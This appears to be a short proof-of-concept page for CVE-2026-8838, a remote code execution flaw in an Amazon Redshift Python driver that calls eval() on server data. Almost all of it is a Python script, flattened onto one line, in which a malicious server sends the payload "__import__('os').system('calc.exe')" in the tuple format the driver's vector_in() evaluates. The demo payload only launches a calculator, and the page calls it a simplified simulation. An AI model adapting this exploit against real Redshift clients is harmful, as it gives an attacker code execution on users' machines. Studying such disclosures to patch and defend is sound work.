CVE-2026-8838 Amazon Redshift Python驱动远程代码执行漏洞

# PoC for CVE-2026-8838 # This script demonstrates how a malicious server could exploit the eval() usage. import socket def send_exploit(client_socket): # Malicious payload intended to be executed by the vulnerable client # Example: Creating a file or executing a shell command payload = "__import__('os').system('calc.exe')" # Windows example # The vulnerable driver expects specific data format for vector_in() # We simulate sending the data structure that triggers eval exploit_data = f"({payload},)" try: # Send the malicious payload to the connected client client_socket.send(exploit_data.encode('utf-8')) print("[+] Payload sent successfully.") except Exception as e: print(f"[-] Error sending payload: {e}") # Note: This is a simplified simulation. In a real scenario, # this would be integrated into a mock Redshift server response.
